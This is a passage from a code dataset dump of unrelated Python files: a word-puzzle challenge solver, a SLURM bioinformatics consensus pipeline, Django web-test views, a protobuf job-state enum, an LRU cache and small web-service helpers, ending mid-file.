challengetext)\r\n\r\n # trim the text down to the problem statement\r\n problemtext = select_rline(challengetext, 2)\r\n print('\\nProblem Text is:\\n' + problemtext)\r\n\r\n # we have to answer 50 different questions :o\r\n correct = 0\r\n while (correct < 50):\r\n # solve the problem\r\n solution = solve_problem(problemtext, realwords)\r\n print('\\nYour solution is:\\n', solution)\r\n\r\n # submit the answer\r\n # If it's correct you get a flag\r\n # if it's incorrect you get a new challenge\r\n result = challenge.submit_answer(solution)\r\n print('\\n Result is:\\n', result)\r\n\r\n lines = result.rsplit(\"\\n\")\r\n if (\"Correct!\" in result or \"Here is your flag\" in result):\r\n correct += 1\r\n problemtext = select_rline(result, 2)\r\n\r\n # close the socket at the end of the program\r\n challenge.exit()","sub_path":"Solutions/4.py","file_name":"4.py","file_ext":"py","file_size_in_byte":3034,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"309429616","text":"#! /usr/bin/env python\nimport sys\nimport os\nimport re\nimport subprocess\nfrom optparse import OptionParser\nfrom optparse import OptionGroup\nimport settings\n\nif __name__ == \"__main__\":\n parser = OptionParser();\n group = OptionGroup(parser, \"Main options\")\n group.add_option(\"--im\", dest = \"m5dir\", metavar = \"[PATH]\", help = \"full path to m5 folder [default = ./]\")\n group.add_option(\"--ib\", dest = \"bamdir\", metavar = \"[PATH]\", help = \"full path to bam folder [default = ./]\")\n group.add_option(\"-o\", dest = \"outdir\", metavar =\"[PATH]\", help = \"full path to output folder [default = ./\")\n group.add_option(\"-p\", default = settings.pbdagcon, dest = \"pbdagcon\", metavar = \"[PATH]\", help = \"full path to pbgadcon binary [default pbdagcon in settings.py]\")\n group.add_option(\"--param\", default = settings.PBDAGCON_PARAM, dest = \"param\", metavar = \"[STRING]\", help = \"pbdagcon parameters [default PBDAGCON_PARAM in settings.py]\")\n group.add_option(\"--sa\", default = settings.sambamba, dest = \"sambamba\", metavar = \"[PATH]\", help = \"full path to sambamba binary [default sambamba in settings.py]\")\n group.add_option(\"-b\", default = settings.bwa, dest = \"bwa\", metavar = \"[PATH]\", help = \"full path to bwa binary [default bwa in settings.py]\")\n group.add_option(\"--rf\", default = settings.full_ref, dest = \"refgenome_full\", metavar = \"[PATH]\", help = \"full path to complete reference genome [default full_ref in settings.py]\")\n group.add_option(\"--project\", default = settings.project, dest = \"project\", metavar = \"STRING\", help = \"project for submitting jobs [default project in settings.py]\")\n group.add_option(\"-m\", default = settings.mail, dest = \"mail\", metavar = \"[STRING]\", help = \"email used for job submitting [default mail in settings.py]\")\n group.add_option(\"-a\", default = settings.INSERT, dest = \"insert\", metavar = \"[STRING]\", help = \"name of insert chromosome [default INSERT in settings.py]\")\n group.add_option(\"--tshort\", default = settings.SLURM_JOB_TIME_SHORT, dest = \"timeslotshort\", metavar = \"[TIME]\", help = \"short time slot for jobs [default SLURM_JOB_TIME_SHORT in settings.py]\")\n group.add_option(\"--tmedium\", default = settings.SLURM_JOB_TIME_MED, dest = \"timeslotmed\", metavar = \"[TIME]\", help = \"time slot for jobs [default SLURM_JOB_TIME_MED in settings.py]\")\n group.add_option(\"--maxfiles\", default = settings.MAX_FILE_COUNT, dest = \"maxfiles\", metavar = \"[INT]\", help = \"maximum number of files to be processed [default = all]\")\n group.add_option(\"--mem_full\", default = settings.MAX_MEM_FULL, dest = \"max_mem_full\", metavar = \"[INT]\", help = \"memory used for jobs [default MAX_MEM_FULL in settings.py]\")\n group.add_option(\"--mem_target\", default = settings.MAX_MEM_TARGET, dest = \"max_mem_target\", metavar = \"[INT]\", help = \"memory used for jobs [default MAX_MEM_TARGET in settings.py]\")\n group.add_option(\"--threads\", default = settings.THREADS, dest = \"threads\", metavar = \"[INT]\", help = \"number threads used for jobs [default THREADS in settings.py]\")\n group.add_option(\"--cl\", default = settings.MIN_CONS_LEN, dest = \"cons_len\", metavar = \"INT\", help = \"minimum length (bp) for consensus calling [default MIN_CONS_LEN in settings.py]\")\n parser.add_option_group(group)\n (opt, args) = parser.parse_args()\n\n pbdagcon_param = \" -m \" + str(opt.cons_len) + str(opt.param)\n\n if opt.outdir:\n outfolder = opt.outdir\n else:\n outfolder = os.getcwd()\n\n if not os.path.isdir(\"{outfolder}/tmp\".format(outfolder=outfolder)):\n os.system(\"mkdir {outfolder}/tmp\".format(outfolder=outfolder))\n if not os.path.isdir(\"{outfolder}/SH\".format(outfolder=outfolder)):\n os.system(\"mkdir {outfolder}/SH\".format(outfolder=outfolder))\n if not os.path.isdir(\"{outfolder}/bin_consensus\".format(outfolder=outfolder)):\n os.system(\"mkdir {outfolder}/bin_consensus\".format(outfolder=outfolder))\n if not os.path.isdir(\"{outfolder}/bin_consensus_folder\".format(outfolder=outfolder)):\n os.system(\"mkdir {outfolder}/bin_consensus_folder\".format(outfolder=outfolder))\n\n \"\"\"Log GIT version + commit of repository\"\"\"\n if str(sys.argv[0]) == \"python\":\n repo = \"/\".join(sys.argv[1].split(\"/\")[0:-1])\n else:\n repo = \"/\".join(sys.argv[0].split(\"/\")[0:-1])\n os.system(\"git --git-dir={repo}/.git describe --tags > {outfolder}/GIT_bin_on_repeat_count.log\".format(\n repo=repo,\n outfolder=outfolder\n ))\n os.system(\"git --git-dir={repo}/.git log --tags > {outfolder}/GIT_bin_on_repeat_count.log\".format(\n repo=repo,\n outfolder=outfolder\n ))\n\n test = []\n job_id = []\n folders = os.listdir(opt.bamdir)\n \n\n if int(opt.maxfiles) > 0:\n maxfiles = int(opt.maxfiles)\n else:\n maxfiles = int(len(folders))\n\n countfolder=0\n for folder in folders:\n folder_id = str(folder).split(\"/\")[-1]\n bamtarfile = \"{bamdir}/{folder}/{folder_id}.tar\".format(\n bamdir=opt.bamdir,\n folder=folder,\n folder_id=folder_id\n )\n m5tarfile = \"{m5dir}/{folder}/{folder_id}.tar\".format(\n m5dir=opt.m5dir,\n folder=folder,\n folder_id=folder_id\n )\n\n if countfolder >= maxfiles:\n break \n if os.path.isfile(bamtarfile):\n files=subprocess.getoutput(\"tar -tf {}\".format(bamtarfile)).split()\n output_id = str(outfolder) + \"/SH/Make_fasta_{}\".format(countfolder)\n output_file = \"{output_id}.sh\".format(output_id=output_id) \n \n if os.path.isfile(output_file): #check if file is already present. If so, do not continue.\n test += [output_file]\n countfolder += 1\n continue\n\n write_file=open(output_file,\"w\")\n write_file.write(\"#!/bin/bash\\n#SBATCH -t {timeslot} \\n#SBATCH --account={project}\\n#SBATCH --mem={mem}G\\n#SBATCH --export=NONE\\n#SBATCH -o {output_id}.output -e {output_id}.error \\n#SBATCH --mail-type=FAIL\\n#SBATCH --mail-user={mail}\\n\".format(\n timeslot=opt.timeslotshort,\n project=opt.project,\n mem=opt.max_mem_target,\n output_id=output_id,\n mail=opt.mail\n ))\n\n for f in files:\n insert_count=0\n if \"bai\" not in str(f):\n os.system(\"tar -axf {bamtarfile} {f}*\".format(bamtarfile=bamtarfile, f=f))\n insert_count=subprocess.getoutput(\"{sambamba} depth base -L {insert} {f} | cut -f3| sort -nk1 | tail -n1\".format(\n sambamba=opt.sambamba,\n insert=opt.insert,\n f=f\n )).split(\"\\n\") #Last value is highest coverage.\n\n if len(insert_count)> 1 and \"failed\" not in str(insert_count):\n if \"COV\" not in insert_count[1]:\n insert_count=insert_count[1]\n else:\n insert_count=0\n else:\n insert_count=0 \n os.system(\"rm {}*\".format(f))\n\n if int(insert_count) >= 40:\n write_file.write(\"tar -axf {m5tarfile} {chopf}* -O | {pbdagcon} - {param} | sed 's/>/>{chopf}_/g' 1>> {outfolder}/bin_consensus_folder/{folder}_consensus_40.fasta\\n\".format(\n m5tarfile=m5tarfile,\n chopf=f[0:-11],\n pbdagcon=opt.pbdagcon,\n param=pbdagcon_param,\n outfolder=outfolder,\n folder=folder\n ))\n elif int(insert_count) > 0 and int(insert_count) <40:\n for x in range(1, 40):\n if int(insert_count) == x:\n write_file.write(\"tar -axf {m5tarfile} {chopf}* -O | {pbdagcon} - {param} | sed 's/>/>{chopf}_/g' 1>> {outfolder}/bin_consensus_folder/{folder}_consensus_{x}.fasta\\n\".format(\n m5tarfile=m5tarfile,\n chopf=f[0:-11],\n pbdagcon=opt.pbdagcon,\n param=pbdagcon_param,\n outfolder=outfolder,\n folder=folder,\n x=x \n ))\n else: \n pass\n\n write_file.close()\n test += [output_file] \n countfolder += 1 \n\n folder_dic={}\n for item in test:\n folder=\"_\".join(item.split(\"/\")[-1].split(\"_\")[0:-1])\n if folder not in folder_dic:\n folder_dic[folder] = 1\n else:\n folder_dic[folder] += 1\n\n\n for item in folder_dic:\n out_file_id = \"{outfolder}/SH/{item}\".format(outfolder=outfolder,item=item)\n out_file = \"{out_file_id}_array.sh\".format(out_file_id=out_file_id)\n array_folder_id = \"{outfolder}/SH/{folder}\".format(outfolder=outfolder,folder=folder)\n\n write_file=open(out_file,\"w\")\n write_file.write(\"#!/bin/bash\\n#SBATCH -t {timeslot}\\n#SBATCH --mem={mem}G\\n#SBATCH --account={project}\\n#SBATCH --mail-type=FAIL\\n#SBATCH --export=NONE\\n#SBATCH --mail-user={mail}\\n#SBATCH -o {array_folder_id}_%A_%a.output\\n#SBATCH -e {array_folder_id}_%A_%a.error\\n#SBATCH --array=0-{number}%{parallel}\\n\".format(\n timeslot=opt.timeslotmed,\n mem=opt.max_mem_target,\n project=opt.project,\n mail=opt.mail,\n output_id=output_id,\n array_folder_id=array_folder_id,\n number=int(folder_dic[folder])-1,\n parallel=settings.SLURM_PARALLEL_JOBS\n ))\n\n write_file.write(\"sh {out_file_id}_$SLURM_ARRAY_TASK_ID\\.sh\\n\".format(out_file_id=out_file_id))\n write_file.close()\n job_output = subprocess.getoutput(\"sbatch {}\".format(out_file))\n job_id_make_fasta = job_output.split()[3]\n\n\n merge_file = \"{outfolder}/SH/merge_fasta.sh\".format(outfolder=outfolder)\n write_file=open(merge_file,\"w\")\n write_file.write(\"#!/bin/bash\\n#SBATCH -t {timeslot}\\n#SBATCH --export=NONE\\n#SBATCH --account={project}\\n#SBATCH --mem={mem}G\\n#SBATCH -o {merge_file}.output -e {merge_file}.error \\n#SBATCH --mail-type=FAIL\\n#SBATCH --mail-user={mail}\\n\".format(\n timeslot=opt.timeslotshort,\n project=opt.project,\n mem=opt.max_mem_target,\n merge_file=merge_file,\n mail=opt.mail\n ))\n\n for x in range(1, 41):\n write_file.write(\"find {outfolder}/bin_consensus_folder/ -iname \\\"*_consensus_{x}.fasta\\\" -exec cat {{}} \\; >> {outfolder}/bin_consensus/consensus_{x}.fasta\\n\".format(\n outfolder=outfolder,\n x=x\n ))\n write_file.close()\n\n job_output=subprocess.getoutput(\"sbatch -c 2 --depend={job_id_make_fasta} {merge_file}\".format(job_id_make_fasta=job_id_make_fasta, merge_file=merge_file)) \n job_id_merge=job_output.split()[3]\n\n test=[]\n def write_new_file(x,test):\n runid = \"consensus_{x}\".format(x=x)\n map_file = \"{outfolder}/SH/{runid}_mapping.sh\".format(outfolder=outfolder,runid=runid)\n write_file=open(map_file,\"w\")\n write_file.write(\"#!/bin/bash\\n#SBATCH -t {timeslot}\\n#SBATCH --export=NONE\\n#SBATCH --account={project}\\n#SBATCH --mem={mem}G\\n#SBATCH -o {map_file}.output\\n#SBATCH -e {map_file}.error \\n#SBATCH --mail-type=FAIL\\n#SBATCH --mail-user={mail}\\n\".format(\n timeslot=opt.timeslotshort,\n project=opt.project,\n mem=opt.max_mem_target,\n map_file=map_file,\n mail=opt.mail\n ))\n\n map_folder = \"{outfolder}/bin_consensus/{runid}\".format(outfolder=outfolder,runid=runid)\n write_file.write(\"{bwa_setting} \\\"@RG\\\\tID:{runid}\\\\tSM:{runid}\\\\tPL:NANOPORE\\\\tLB:{runid}\\\" {refgenome_full} {map_folder}.fasta > {map_folder}_full_consensus.sam\\n\".format(\n bwa_setting=settings.BWA_MEM,\n runid=runid,\n refgenome_full=opt.refgenome_full,\n map_folder=map_folder\n ))\n\n\n write_file.write(\"{sambamba} view -S -f bam {map_folder}_full_consensus.sam > {map_folder}_full_consensus.bam\\n\".format(\n sambamba=opt.sambamba,\n map_folder=map_folder\n )) \n\n write_file.write(\"{sambamba} sort -t {threads} --tmpdir=./tmp {map_folder}_full_consensus.bam -o {map_folder}_full_consensus.sorted.bam\\n\".format(\n sambamba=opt.sambamba,\n threads=opt.threads,\n map_folder=map_folder\n ))\n write_file.write(\"sleep 2\\n\")\n write_file.write(\"rm {map_folder}_full_consensus.sam\\nsleep 2\\n\".format(map_folder=map_folder))\n write_file.write(\"rm {map_folder}_full_consensus.bam\\nsleep 2\\n\".format(map_folder=map_folder))\n write_file.close()\n test += [map_file]\n return test\n\n for x in range(1, 41):\n job_id = write_new_file(x, job_id)\n test = write_new_file(x, test)\n\n cons_file = \"{outfolder}/SH/consensus_calling_array.sh\".format(outfolder=outfolder) \n write_file = open(cons_file,\"w\")\n write_file.write(\"#!/bin/bash\\n#SBATCH -t {timeslot}\\n#SBATCH --mem={mem}G\\n#SBATCH --account={project}\\n#SBATCH --mail-type=FAIL\\n#SBATCH --export=NONE\\n#SBATCH --mail-user={mail}\\n#SBATCH -o {cons_file}_%A_%a.output\\n#SBATCH -e {cons_file}_%A_%a.error\\n#SBATCH --array=1-{number}%{parallel}\\n\".format(\n timeslot=opt.timeslotmed,\n mem=opt.max_mem_target,\n project=opt.project,\n mail=opt.mail,\n cons_file=cons_file,\n number=len(test),\n parallel=settings.SLURM_PARALLEL_JOBS\n )) \n\n write_file.write(\"sh {outfolder}/SH/consensus_$SLURM_ARRAY_TASK_ID\\_mapping.sh\\n\".format(outfolder=outfolder)) \n write_file.close()\n job_output=subprocess.getoutput(\"sbatch --depend={job_id_merge} {cons_file}\".format(job_id_merge=job_id_merge, cons_file=cons_file))\n job_id_array=job_output.split()[3]\n\n \"\"\" Calculate allele count and cleanup \"\"\"\n if not os.path.isdir(\"{output_folder}/jobs/\".format(output_folder=outfolder)):\n os.system(\"mkdir {output_folder}/jobs/\".format(output_folder=outfolder))\n\n write_file=open(str(outfolder) + \"/jobs/Count_alleles.sh\",\"w\")\n write_file.write(\"#!/bin/bash\\n#SBATCH -t {timeslot} \\n#SBATCH --account={project} \\n#SBATCH --mem={mem}G \\n#SBATCH --export=NONE\\n#SBATCH -o {output_folder}/jobs/Count_alleles.output\\n#SBATCH -e {output_folder}/jobs/Count_alleles.error \\n#SBATCH --mail-user={mail}\\n\".format(\n timeslot=opt.timeslotshort,\n project=opt.project,\n mem=opt.max_mem_target,\n output_folder=outfolder,\n mail=opt.mail\n ))\n write_file.write(\"source {venv}\\n\".format(venv=settings.venv))\n write_file.write(\"cd {output_folder}/bin_consensus/\\n\".format(output_folder=outfolder))\n write_file.write(\"{calculate}\\n\".format(calculate=settings.calculate))\n write_file.write(\"rm {output_folder}/bin_consensus_folder/ -r\\n\".format(output_folder=outfolder))\n write_file.close() \n\n action = \"sbatch --dependency={depend} {output_folder}/jobs/Count_alleles.sh\".format(\n depend=job_id_array,\n output_folder=outfolder\n )\n os.system(action)\n\n\n","sub_path":"bin_on_repeat_count.py","file_name":"bin_on_repeat_count.py","file_ext":"py","file_size_in_byte":15409,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"125965267","text":"from django.shortcuts import render, HttpResponse\nfrom django.contrib.auth.decorators import login_required\nfrom publicMode.views import get_list\nfrom django.views.decorators.csrf import csrf_exempt\nfrom testCase.caseviews import get_project_id\nfrom testCase.models import EnvConfigMode, TaskPlanMode\nfrom webTest.models import PageMode, ElementMode, WebCaseMode, CaseLog, TakPlanLog\nfrom projectMode.models import ProjectMode\nimport json\nimport datetime\n\n\n# Create your views here.\n\n\n@login_required\ndef web_case_entry(request):\n \"\"\"测试用例初始页面\"\"\"\n res = get_list(\"webTest\")\n return render(request, \"webTest_manage.html\", {\"products\": res[0], \"projects\": res[1]})\n\n\n@login_required\ndef web_case_list(request, project):\n \"\"\"web测试列表页\"\"\"\n res = get_list(\"webTest\")\n project_id = get_project_id(project, res[1])\n return render(request, \"webTest_manage.html\",\n {\"project\": project, \"projectId\": project_id, \"products\": res[0], \"projects\": res[1]})\n\n\n@login_required\n@csrf_exempt\ndef web_case_page(request, project, pages):\n res = [None, None]\n env = None # 运行环境配置加载数据\n project_id = 0\n page_list = None # 元素页面下拉绑定数据\n task_plan = None # 测试计划详情数据\n task_id = 0\n logs = None\n if pages != 'runEnv':\n res = get_list(\"webTest\")\n project_id = get_project_id(project, res[1])\n if pages == 'runEnv':\n project_id = get_project_id(project)\n try:\n env = EnvConfigMode.objects.get(projectId=project_id)\n except Exception as e:\n print(e.__str__())\n if pages == 'element':\n page_list = PageMode.objects.filter(projectId=project_id, pageFlag=True)\n if pages == 'webTaskDetail':\n task_id = int(request.GET.get(\"id\"))\n if task_id > 0:\n task_plan = TaskPlanMode.objects.get(id=task_id)\n if pages == \"caseLog\":\n try:\n case_id = request.GET.get(\"caseId\")\n task_log_id = request.GET.get(\"taskLogId\")\n if case_id:\n case_info = WebCaseMode.objects.get(id=case_id)\n logs = CaseLog.objects.filter(caseId=case_info)\n elif task_log_id:\n task_log_info = TakPlanLog.objects.get(id=task_log_id)\n fail_log_list = list(map(int, task_log_info.failLogs.split(',')))\n logs = CaseLog.objects.filter(id__in=fail_log_list)\n except Exception as e:\n print(e.__str__())\n if pages == \"taskPlanLog\":\n task_id = request.GET.get('id')\n if task_id:\n logs = TakPlanLog.objects.filter(taskId=task_id)\n return render(request, pages + \".html\",\n {\"project\": project, \"projectId\": project_id, \"products\": res[0], \"projects\": res[1], \"env\": env,\n \"pages\": page_list, \"taskPlanInfo\": task_plan, \"task_id\": task_id, \"logs\": logs})\n\n\n@login_required\n@csrf_exempt\ndef web_page_action(request, project, pages, action):\n \"\"\"web测试模块页面操作入口\"\"\"\n if pages == \"page\":\n if action == \"query\":\n return query_page(request, project)\n if pages == \"element\":\n if action == \"query\":\n return query_element(request, project)\n if pages == \"caseList\":\n if action == \"query\":\n return query_case(request, project)\n if pages == \"webTaskDetail\":\n if action == \"queryCase\":\n return query_all_case(project)\n if action == \"save\":\n return save_task_plan(request, project)\n if pages == \"webTaskList\":\n if action == \"query\":\n return query_task_plan(request, project)\n\n\ndef query_page(request, project):\n \"\"\"页面维护查询\"\"\"\n res = get_list(\"webTest\")\n search_dict = dict()\n page_name = request.GET.get(\"pageTitle\")\n if page_name:\n search_dict['pageTitle'] = page_name\n page_flag = request.GET.get(\"pageFlag\")\n if page_flag:\n search_dict['pageFlag'] = page_flag\n pro = request.GET.get(\"project\")\n if pro:\n search_dict['projectId'] = pro\n page_list = PageMode.objects.filter(**search_dict)\n return render(request, 'page.html',\n {\"project\": project, \"projectId\": pro, \"pages\": page_list, \"products\": res[0], \"projects\": res[1]})\n\n\ndef query_element(request, project):\n \"\"\"元素维护查询\"\"\"\n res = get_list(\"webTest\")\n search_dict = dict()\n pro = request.GET.get(\"project\")\n page_list = PageMode.objects.filter(projectId=pro, pageFlag=True)\n e_name = request.GET.get(\"eName\")\n if e_name:\n search_dict['eName'] = e_name\n e_flag = request.GET.get(\"eFlag\")\n if e_flag:\n search_dict['eFlag'] = e_flag\n page_id = request.GET.get(\"pageId\")\n if page_id:\n search_dict['pageId'] = page_id\n element_list = ElementMode.objects.filter(**search_dict)\n return render(request, 'element.html',\n {\"project\": project, \"projectId\": pro, \"pages\": page_list, \"elements\": element_list,\n \"products\": res[0], \"projects\": res[1]})\n\n\ndef query_case(request, project):\n \"\"\"web用例查询\"\"\"\n res = get_list(\"webTest\")\n search_dict = dict()\n case_name = request.GET.get(\"caseName\")\n if case_name:\n search_dict['caseName'] = case_name\n case_flag = request.GET.get(\"caseFlag\")\n if case_flag:\n search_dict['caseFlag'] = case_flag\n case_env = request.GET.get(\"caseEnv\")\n if case_env:\n search_dict['caseEnv'] = case_env\n case_level = request.GET.get(\"caseLev\")\n if case_level:\n search_dict['caseLevel'] = case_level\n\n pro = ProjectMode.objects.get(projectTag=project)\n search_dict['projectId'] = pro\n case_list = WebCaseMode.objects.filter(**search_dict)\n return render(request, 'webTest_manage.html',\n {\"project\": project, \"projectId\": pro.id, \"cases\": case_list, \"products\": res[0], \"projects\": res[1]})\n\n\ndef query_all_case(project):\n pro = None\n try:\n pro = ProjectMode.objects.get(projectTag=project)\n except Exception as e:\n print(e.__str__())\n case_list = WebCaseMode.objects.filter(projectId=pro, caseFlag=True)\n return HttpResponse(json.dumps(list(case_list), default=json_default, ensure_ascii=False),\n content_type=\"application/json\")\n\n\ndef json_default(value):\n if isinstance(value, datetime.datetime):\n return dict(year=value.year, month=value.month, day=value.day)\n else:\n return value.__dict__\n\n\ndef save_task_plan(request, project):\n \"\"\"保存测试计划\"\"\"\n _dic = dict(json.loads(request.body))\n task_id = int(_dic['id'])\n _dic.pop('id')\n try:\n if task_id > 0:\n task_info = TaskPlanMode.objects.filter(id=task_id)\n task_info.update(**_dic)\n else:\n pro = ProjectMode.objects.get(projectTag__exact=project)\n _dic['projectId'] = pro\n TaskPlanMode.objects.create(**_dic)\n except Exception as e:\n return HttpResponse(json.dumps({\"code\": e.__str__()}), content_type=\"application/json\")\n return HttpResponse(json.dumps({\"code\": \"ok\"}, ensure_ascii=False), content_type=\"application/json\")\n\n\ndef query_task_plan(request, project):\n \"\"\"查询任务计划列表\"\"\"\n res = get_list(\"webTest\")\n search_dict = dict()\n project_id = request.GET.get(\"project\")\n search_dict['projectId'] = project_id\n task_name = request.GET.get(\"taskPlanName\")\n if task_name:\n search_dict['taskPlanName'] = task_name\n task_flag = request.GET.get(\"taskPlanFlag\")\n if task_flag:\n search_dict['taskPlanFlag'] = task_flag\n tasks = TaskPlanMode.objects.filter(**search_dict)\n for task in tasks:\n case_list = task.taskPlanCaseApiList.split(',')\n case_list = list(map(int, case_list))\n case_obj_list = WebCaseMode.objects.filter(id__in=case_list)\n case_name = case_obj_list.values_list('caseName', flat=True)\n task.taskPlanCaseApiList = ','.join(case_name)\n return render(request, 'webTaskList.html',\n {\"project\": project, \"projectId\": project_id, \"tasks\": tasks, \"products\": res[0],\n \"projects\": res[1]})\n","sub_path":"webTest/webTestViews.py","file_name":"webTestViews.py","file_ext":"py","file_size_in_byte":8211,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"84704769","text":"# -*- coding: utf-8 -*-\n# Copyright 2023 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\nfrom __future__ import annotations\n\nfrom typing import MutableMapping, MutableSequence\n\nimport proto # type: ignore\n\n\n__protobuf__ = proto.module(\n package=\"google.cloud.aiplatform.v1\",\n manifest={\n \"JobState\",\n },\n)\n\n\nclass JobState(proto.Enum):\n r\"\"\"Describes the state of a job.\n\n Values:\n JOB_STATE_UNSPECIFIED (0):\n The job state is unspecified.\n JOB_STATE_QUEUED (1):\n The job has been just created or resumed and\n processing has not yet begun.\n JOB_STATE_PENDING (2):\n The service is preparing to run the job.\n JOB_STATE_RUNNING (3):\n The job is in progress.\n JOB_STATE_SUCCEEDED (4):\n The job completed successfully.\n JOB_STATE_FAILED (5):\n The job failed.\n JOB_STATE_CANCELLING (6):\n The job is being cancelled. From this state the job may only\n go to either ``JOB_STATE_SUCCEEDED``, ``JOB_STATE_FAILED``\n or ``JOB_STATE_CANCELLED``.\n JOB_STATE_CANCELLED (7):\n The job has been cancelled.\n JOB_STATE_PAUSED (8):\n The job has been stopped, and can be resumed.\n JOB_STATE_EXPIRED (9):\n The job has expired.\n JOB_STATE_UPDATING (10):\n The job is being updated. Only jobs in the ``RUNNING`` state\n can be updated. After updating, the job goes back to the\n ``RUNNING`` state.\n JOB_STATE_PARTIALLY_SUCCEEDED (11):\n The job is partially succeeded, some results\n may be missing due to errors.\n \"\"\"\n JOB_STATE_UNSPECIFIED = 0\n JOB_STATE_QUEUED = 1\n JOB_STATE_PENDING = 2\n JOB_STATE_RUNNING = 3\n JOB_STATE_SUCCEEDED = 4\n JOB_STATE_FAILED = 5\n JOB_STATE_CANCELLING = 6\n JOB_STATE_CANCELLED = 7\n JOB_STATE_PAUSED = 8\n JOB_STATE_EXPIRED = 9\n JOB_STATE_UPDATING = 10\n JOB_STATE_PARTIALLY_SUCCEEDED = 11\n\n\n__all__ = tuple(sorted(__protobuf__.manifest))\n","sub_path":"google/cloud/aiplatform_v1/types/job_state.py","file_name":"job_state.py","file_ext":"py","file_size_in_byte":2591,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"392579994","text":"from collections import OrderedDict\nclass LRUCache:\n def __init__(self, capacity):\n \"\"\"\n :type capacity: int\n \"\"\"\n self.dic = OrderedDict() \n self.remain = capacity # Empty space remain in cache\n \n\n def get(self, key):\n \"\"\"\n :type key: int\n :rtype: int\n \"\"\"\n if key not in self.dic:\n return -1\n value = self.dic.pop(key)\n self.dic[key] = value\n return value\n \n\n def put(self, key, value):\n \"\"\"\n :type key: int\n :type value: int\n :rtype: void\n \"\"\"\n if key in self.dic:\n self.dic.pop(key)\n else:\n if self.remain > 0:\n self.remain -= 1\n else:\n self.dic.popitem(last=False) # pop with FIFO order\n self.dic[key] = value","sub_path":"Python3/Design/LRUCache/OrderedDict146.py","file_name":"OrderedDict146.py","file_ext":"py","file_size_in_byte":861,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"156996288","text":"# coding=utf-8\nfrom utils.service_control.cacher import ServiceMgrCacher\nfrom utils.openfire.jid import JidMgr\nfrom utils.service_control.setting import PT_TCP\nfrom interfaces.register.tcp_rpc import verify_access_token\nfrom device_end.setting import US_BRIDGE, US_REGISTER\n\ndef bridge_jid():\n \"\"\"\n get bridge service jid\n :return:\n \"\"\"\n bridge_setting = ServiceMgrCacher.find_service(US_BRIDGE)\n return bridge_setting['jid']\n\n\ndef is_jid(jid):\n \"\"\"\n extend utils function \"is_jid\" for unsafe input\n :param jid\n :return:\n \"\"\"\n if not isinstance(jid, basestring) or len(jid.split('@')) != 2:\n return False\n else:\n return JidMgr.is_jid(jid)\n\ndef parse_ros_dic(ros_dic, name=False):\n \"\"\"\n parse roster dictionary(collection.OrderedDict) to name_list or jid_list due to param:name\n :param ros_dic:\n :param name:\n :return:\n \"\"\"\n jid_list = list()\n name_list = list()\n if ros_dic.get('roster', None):\n roster_item = ros_dic['roster']['rosterItem']\n if isinstance(roster_item, list):\n for item in roster_item:\n jid_list.append(item['jid'])\n else:\n jid_list.append(roster_item['jid'])\n if not name:\n return jid_list\n else:\n for jid in jid_list:\n name_list.append(JidMgr.gen_user_name(jid))\n return name_list\n\ndef token_required(func):\n def wrapper(self, *args,**kwargs):\n headers = self.request.headers\n access_token = headers.get('Authorization',None)\n reg_tcp_client = ServiceMgrCacher().get_connection(US_REGISTER,PT_TCP)\n validate = verify_access_token(reg_tcp_client,access_token)\n if not validate:\n self.set_status(401, \"Unauthorized(access token invalid)\")\n return\n kwargs.setdefault('access_token', access_token)\n func(self, *args, **kwargs)\n return wrapper\n\ndef cors_control(func):\n def wrapper(self, *arg, **kwarg):\n self.set_header('Access-Control-Allow-Origin','*') # 暂时不控制,允许所有跨域访问\n func(self, *arg, **kwarg)\n return wrapper\n\ndef gen_msg(ls):\n _ls = []\n temp = {}\n for item in ls:\n temp['msgid'] = item['msg_id']\n temp['version'] = '0.01'\n temp['type'] = 'time'\n temp['msg'] = {'time':item['time'],'cmd':item['action']}\n _ls.append(temp)\n return _ls\n","sub_path":"server/workspace/device_end/lib/func.py","file_name":"func.py","file_ext":"py","file_size_in_byte":2407,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"229668174","text":"import webapp2\nfrom frameworks.WebContainer import StandardPage\nfrom google.appengine.ext.webapp import template\nfrom google.appengine.api import users\nfrom app.wrapper import url_inject\nfrom app.List import List\nimport json\nimport logging\nfrom warnings import catch_warnings\n\nclass MainPage(StandardPage):\n @url_inject(\"web\")\n def get(self):\n self.response.out.write(template.render('read/index.html', self.template_values))\n\nclass DataTest(webapp2.RequestHandler):\n #@url_inject(\"json\")\n def get(self):\n self.response.out.write(json.dumps({\"test\":\"into the breach we go\"}))\n\nclass DataGet(webapp2.RequestHandler):\n @url_inject(\"json\")\n def get(self):\n key = self.request.GET['id']\n self.response.out.write(json.dumps(List().get_list(key)))\n \nclass DataMyList(webapp2.RequestHandler):\n #@url_inject(\"json\")\n def get(self):\n try:\n q = self.request.GET['q']\n except:\n q=\"\"\n self.response.out.write(json.dumps(List().my_lists_authenticated(q)))\n\nclass DataSearch(webapp2.RequestHandler):\n #@url_inject(\"json\")\n def get(self):\n try:\n q = self.request.GET['q']\n except:\n q=\"\"\n self.response.out.write(json.dumps(List().all_lists_unauthenticated(q)))\n\nclass UserGet(webapp2.RequestHandler):\n #@url_inject(\"json\")\n def get(self):\n try:\n user_nickname = users.get_current_user().nickname()\n except:\n user_nickname = \"anonymous\"\n self.response.out.write(json.dumps({\"response\":user_nickname}))\n \napp = webapp2.WSGIApplication([\n ('/api/my-lists.*', DataMyList),\n ('/api/user', UserGet),\n ('/api/search.*', DataSearch),\n ('/api/test', DataTest),\n ('/api/get.*', DataGet),\n ('/.*', MainPage),\n 